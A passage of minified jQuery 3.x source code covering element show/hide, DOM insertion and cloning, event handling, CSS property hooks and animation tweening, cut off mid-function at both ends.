n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^key/,we=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function Ce(){return!0}function Ee(){return!1}function Se(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function ke(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)ke(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ee;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Ae(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,Ce)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=Te.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=Te.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ae(t,"click",Ce),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ae(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ce:Ee,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Ee,isPropagationStopped:Ee,isImmediatePropagationStopped:Ee,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ce,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ce,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ce,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&be.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&we.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Ae(this,e,Se),!1},trigger:function(){return Ae(this,e),!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return ke(this,e,t,n,r)},one:function(e,t,n,r){return ke(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ee),this.each(function(){S.event.remove(this,e,n,t)})}});var Ne=/<script|<style|<link/i,De=/checked\s*(?:[^=]|=\s*.checked.)/i,je=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function Le(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function He(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Oe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function Pe(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&De.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),Pe(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),Le)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,He),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(je,""),u,l))}return n}function Re(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Re(this,e,!0)},remove:function(e){return Re(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Pe(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Pe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ne.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Pe(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Me=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Ie=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},We=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Fe=new RegExp(ne.join("|"),"i");function Be(e,t,n){var r,i,o,a,s=e.style;return(n=n||Ie(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Me.test(a)&&Fe.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function $e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px",t.style.height="1px",n.style.height="9px",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=3<parseInt(r.height),re.removeChild(e)),a}}))}();var _e=["Webkit","Moz","ms"],ze=E.createElement("div").style,Ue={};function Xe(e){var t=S.cssProps[e]||Ue[e];return t||(e in ze?e:Ue[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=_e.length;while(n--)if((e=_e[n]+t)in ze)return e}(e)||e)}var Ve=/^(none|table(?!-c[ea]).+)/,Ge=/^--/,Ye={position:"absolute",visibility:"hidden",display:"block"},Qe={letterSpacing:"0",fontWeight:"400"};function Je(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ke(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Ze(e,t,n){var r=Ie(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=Be(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Me.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Ke(e,t,n||(i?"border":"content"),o,r,a)+"px"}function et(e,t,n,r,i){return new et.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Be(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Ge.test(t),l=e.style;if(u||(t=Xe(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Ge.test(t)||(t=Xe(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),"normal"===i&&t in Qe&&(i=Qe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ve.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Ze(e,u,n):We(e,Ye,function(){return Ze(e,u,n)})},set:function(e,t,n){var r,i=Ie(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Ke(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Ke(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Je(0,t,s)}}}),S.cssHooks.marginLeft=$e(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Be(e,"marginLeft"))||e.getBoundingClientRect().left-We(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Je)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Ie(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=et).prototype={constructor:et,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=et.propHooks[this.prop];return e&&e.get?e.get(this):et.propHooks._default.get(this)},run:function(e){var t,n=et.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):et.propHooks._default.set(this),this}}).init.prototype=et.prototype,(et.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[Xe(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=et.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=et.prototype.init,S.fx.step={};var tt,nt,rt,it,ot=/^(?:toggle|show|hide)$/,at=/queueHooks$/;function st(){nt&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(st):C.setTimeout(st,S.fx.interval),S.fx.tick())}function ut(){return C.setTimeout(function(){tt=void 0}),tt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ft(o,e,t){var n,a,r=0,i=ft.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=tt||ut(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:tt||ut(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=ft.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ct(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return 